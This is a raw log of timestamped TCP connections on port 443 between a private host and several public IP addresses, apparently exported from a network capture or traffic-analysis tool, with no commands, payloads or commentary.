Nov 30, 2024 04:12:17.302773952 CET	49716	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.302779913 CET	443	49716	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.304938078 CET	49728	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.304949045 CET	443	49728	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.305011034 CET	49728	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.305130005 CET	49728	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.305140972 CET	443	49728	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.387890100 CET	443	49717	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.387918949 CET	443	49717	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.387990952 CET	49717	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.388052940 CET	443	49717	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.388128042 CET	49717	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.388300896 CET	49717	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.388300896 CET	49717	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.388325930 CET	443	49717	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.388494968 CET	443	49717	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.388523102 CET	443	49717	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.388581038 CET	49717	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.391052961 CET	49729	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.391084909 CET	443	49729	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.391261101 CET	49729	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.391427994 CET	49729	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:17.391438961 CET	443	49729	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:17.576591969 CET	443	49722	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:17.576677084 CET	49722	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:17.578392029 CET	49722	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:17.578397989 CET	443	49722	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:17.578629971 CET	443	49722	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:17.579855919 CET	49722	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:17.580671072 CET	49722	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:17.580702066 CET	443	49722	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:17.580852032 CET	49722	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:17.580883026 CET	443	49722	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:17.581696987 CET	49722	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:17.581733942 CET	443	49722	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:17.581883907 CET	49722	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:17.581916094 CET	443	49722	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:17.582133055 CET	49722	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:17.582161903 CET	443	49722	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:17.582371950 CET	49722	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:17.582400084 CET	443	49722	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:17.582412958 CET	49722	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:17.582426071 CET	443	49722	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:17.582550049 CET	49722	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:17.582572937 CET	443	49722	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:17.582597017 CET	49722	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:17.582720995 CET	49722	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:17.582751989 CET	49722	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:17.627329111 CET	443	49722	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:17.627502918 CET	49722	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:17.627552986 CET	443	49722	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:17.627584934 CET	49722	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:17.627604961 CET	443	49722	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:17.627628088 CET	49722	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:17.627640963 CET	443	49722	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:17.627684116 CET	49722	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:17.627702951 CET	443	49722	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:17.835604906 CET	443	49721	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:17.835697889 CET	49721	443	192.168.2.6	20.109.210.53
Nov 30, 2024 04:12:17.837583065 CET	49721	443	192.168.2.6	20.109.210.53
Nov 30, 2024 04:12:17.837595940 CET	443	49721	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:17.837842941 CET	443	49721	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:17.881179094 CET	49721	443	192.168.2.6	20.109.210.53
Nov 30, 2024 04:12:17.900799990 CET	49721	443	192.168.2.6	20.109.210.53
Nov 30, 2024 04:12:17.947336912 CET	443	49721	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:18.495564938 CET	443	49721	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:18.495589018 CET	443	49721	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:18.495596886 CET	443	49721	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:18.495609999 CET	443	49721	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:18.495646954 CET	49721	443	192.168.2.6	20.109.210.53
Nov 30, 2024 04:12:18.495651007 CET	443	49721	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:18.495683908 CET	443	49721	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:18.495696068 CET	49721	443	192.168.2.6	20.109.210.53
Nov 30, 2024 04:12:18.495696068 CET	49721	443	192.168.2.6	20.109.210.53
Nov 30, 2024 04:12:18.495717049 CET	49721	443	192.168.2.6	20.109.210.53
Nov 30, 2024 04:12:18.513885975 CET	443	49721	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:18.513962984 CET	49721	443	192.168.2.6	20.109.210.53
Nov 30, 2024 04:12:18.513978958 CET	443	49721	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:18.514906883 CET	49721	443	192.168.2.6	20.109.210.53
Nov 30, 2024 04:12:18.514920950 CET	443	49721	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:18.514952898 CET	49721	443	192.168.2.6	20.109.210.53
Nov 30, 2024 04:12:18.515100002 CET	443	49721	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:18.515132904 CET	443	49721	20.109.210.53	192.168.2.6
Nov 30, 2024 04:12:18.515183926 CET	49721	443	192.168.2.6	20.109.210.53
Nov 30, 2024 04:12:18.815429926 CET	443	49725	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:18.824029922 CET	49725	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:18.824057102 CET	443	49725	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:18.827730894 CET	49725	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:18.827734947 CET	443	49725	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.016804934 CET	49731	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:19.016840935 CET	443	49731	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:19.016910076 CET	49731	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:19.017909050 CET	49731	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:19.017920971 CET	443	49731	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:19.052649021 CET	443	49726	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.056852102 CET	49726	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.056889057 CET	443	49726	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.065640926 CET	49726	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.065648079 CET	443	49726	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.080343008 CET	443	49727	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.080821991 CET	49727	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.080842018 CET	443	49727	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.081311941 CET	49727	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.081317902 CET	443	49727	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.153083086 CET	443	49728	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.153750896 CET	49728	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.153781891 CET	443	49728	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.154258966 CET	49728	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.154266119 CET	443	49728	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.248498917 CET	443	49729	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.249070883 CET	49729	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.249100924 CET	443	49729	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.249613047 CET	49729	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.249615908 CET	443	49729	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.249993086 CET	443	49725	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.250055075 CET	443	49725	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.250116110 CET	49725	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.250277042 CET	49725	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.250294924 CET	443	49725	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.250303984 CET	49725	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.250308990 CET	443	49725	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.253402948 CET	49732	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.253444910 CET	443	49732	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.253541946 CET	49732	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.253719091 CET	49732	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.253731966 CET	443	49732	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.272597075 CET	443	49724	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:19.272669077 CET	49724	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:19.274904966 CET	49724	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:19.274910927 CET	443	49724	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:19.275115013 CET	443	49724	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:19.276993036 CET	49724	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:19.277074099 CET	49724	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:19.277081966 CET	443	49724	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:19.277297974 CET	49724	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:19.319350958 CET	443	49724	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:19.505791903 CET	443	49726	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.505863905 CET	443	49726	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.505928040 CET	49726	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.506134987 CET	49726	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.506151915 CET	443	49726	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.506215096 CET	49726	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.506220102 CET	443	49726	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.509287119 CET	49733	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.509325981 CET	443	49733	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.509429932 CET	49733	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.509637117 CET	49733	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.509654999 CET	443	49733	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.524379015 CET	443	49727	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.524427891 CET	443	49727	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.524493933 CET	49727	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.524662018 CET	49727	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.524672985 CET	443	49727	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.527952909 CET	49734	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.527992010 CET	443	49734	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.528047085 CET	49734	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.528178930 CET	49734	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.528193951 CET	443	49734	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.606776953 CET	443	49728	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.606842041 CET	443	49728	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.606890917 CET	49728	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.607211113 CET	49728	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.607227087 CET	443	49728	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.607237101 CET	49728	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.607243061 CET	443	49728	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.611434937 CET	49735	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.611470938 CET	443	49735	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.611563921 CET	49735	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.611934900 CET	49735	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.611948013 CET	443	49735	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.692748070 CET	443	49729	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.692807913 CET	443	49729	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.692954063 CET	49729	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.693073034 CET	49729	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.693099022 CET	443	49729	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.693104982 CET	49729	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.693111897 CET	443	49729	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.696077108 CET	49736	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.696126938 CET	443	49736	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.696516037 CET	49736	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.696516037 CET	49736	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:19.696563005 CET	443	49736	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:19.950695038 CET	443	49724	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:19.950823069 CET	443	49724	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:19.950988054 CET	49724	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:19.951905012 CET	49724	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:19.951921940 CET	443	49724	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:19.951932907 CET	49724	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:21.035588980 CET	443	49732	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.036196947 CET	49732	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.036225080 CET	443	49732	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.036710024 CET	49732	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.036725044 CET	443	49732	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.243046045 CET	443	49734	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.248517036 CET	49734	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.248559952 CET	443	49734	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.249373913 CET	49734	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.249387026 CET	443	49734	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.288752079 CET	443	49733	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.298218012 CET	49733	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.298244953 CET	443	49733	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.298955917 CET	49733	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.298963070 CET	443	49733	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.341587067 CET	443	49735	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.364546061 CET	49735	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.364562035 CET	443	49735	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.365051985 CET	49735	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.365056038 CET	443	49735	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.475630999 CET	443	49736	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.479552984 CET	443	49732	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.479619026 CET	443	49732	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.479772091 CET	49732	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.490885019 CET	443	49731	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:21.491019964 CET	49731	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:21.535801888 CET	49736	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.591181040 CET	49731	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:21.591207981 CET	443	49731	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:21.591553926 CET	443	49731	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:21.610646009 CET	49731	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:21.614264011 CET	49731	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:21.614278078 CET	443	49731	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:21.614383936 CET	49731	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:21.642301083 CET	49736	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.642317057 CET	443	49736	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.643095016 CET	49736	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.643099070 CET	443	49736	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.643332958 CET	49732	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.643351078 CET	443	49732	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.643424988 CET	49732	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.643431902 CET	443	49732	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.648184061 CET	49738	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.648205996 CET	443	49738	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.648361921 CET	49738	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.648529053 CET	49738	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.648536921 CET	443	49738	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.659336090 CET	443	49731	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:21.679999113 CET	443	49734	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.680058956 CET	443	49734	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.681931019 CET	49734	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.692673922 CET	49734	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.692696095 CET	443	49734	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.692725897 CET	49734	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.692732096 CET	443	49734	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.726217031 CET	49739	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.726257086 CET	443	49739	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.726438999 CET	49739	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.726608038 CET	49739	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.726619959 CET	443	49739	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.727502108 CET	443	49722	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:21.727607965 CET	443	49722	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:21.727672100 CET	49722	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:21.728259087 CET	49722	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:21.728275061 CET	443	49722	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:21.733108997 CET	443	49733	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.733169079 CET	443	49733	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.733220100 CET	49733	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.736160040 CET	49733	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.736160994 CET	49733	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.736175060 CET	443	49733	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.736185074 CET	443	49733	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.776604891 CET	443	49735	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.776695013 CET	443	49735	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.776899099 CET	49735	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.780195951 CET	49735	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.780195951 CET	49735	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.780209064 CET	443	49735	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.780216932 CET	443	49735	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.781750917 CET	49740	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.781785965 CET	443	49740	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.781842947 CET	49740	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.782454014 CET	49740	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.782461882 CET	443	49740	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.783148050 CET	49741	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.783178091 CET	443	49741	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.783338070 CET	49741	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.783618927 CET	49741	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.783655882 CET	443	49741	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.783765078 CET	49742	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:21.783797026 CET	443	49742	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:21.783946991 CET	49742	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:21.784275055 CET	49742	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:21.784285069 CET	443	49742	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:21.968158960 CET	443	49736	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.968238115 CET	443	49736	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.968282938 CET	49736	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.968550920 CET	49736	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.968575001 CET	443	49736	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.968585968 CET	49736	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.968591928 CET	443	49736	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.971973896 CET	49743	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.972019911 CET	443	49743	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:21.972151995 CET	49743	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.972331047 CET	49743	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:21.972343922 CET	443	49743	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:22.274013996 CET	443	49731	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:22.274190903 CET	443	49731	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:22.274236917 CET	49731	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:22.274395943 CET	49731	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:22.274414062 CET	443	49731	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:23.044784069 CET	443	49742	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:23.044874907 CET	49742	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:23.048213005 CET	49742	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:23.048223019 CET	443	49742	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:23.048424959 CET	443	49742	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:23.057398081 CET	49742	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:23.057471037 CET	49742	443	192.168.2.6	104.21.16.9
Nov 30, 2024 04:12:23.057485104 CET	443	49742	104.21.16.9	192.168.2.6
Nov 30, 2024 04:12:23.428869963 CET	443	49738	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:23.430556059 CET	49738	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:23.430578947 CET	443	49738	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:23.432532072 CET	49738	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:23.432535887 CET	443	49738	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:23.498341084 CET	443	49741	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:23.499336958 CET	443	49740	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:23.499967098 CET	49740	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:23.499979019 CET	49741	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:23.499990940 CET	443	49741	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:23.500020027 CET	443	49740	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:23.500473976 CET	49740	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:23.500480890 CET	443	49740	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:23.500504971 CET	49741	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:23.500509977 CET	443	49741	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:23.571438074 CET	443	49739	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:23.572339058 CET	49739	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:23.572365999 CET	443	49739	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:23.572863102 CET	49739	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:23.572868109 CET	443	49739	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:23.753302097 CET	443	49743	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:23.754416943 CET	49743	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:23.754436016 CET	443	49743	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:23.754920006 CET	49743	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:23.754926920 CET	443	49743	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:23.874973059 CET	443	49738	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:23.875046968 CET	443	49738	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:23.875166893 CET	49738	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:23.875427961 CET	49738	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:23.875443935 CET	443	49738	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:23.875449896 CET	49738	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:23.875454903 CET	443	49738	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:23.878925085 CET	49744	443	192.168.2.6	13.107.246.63
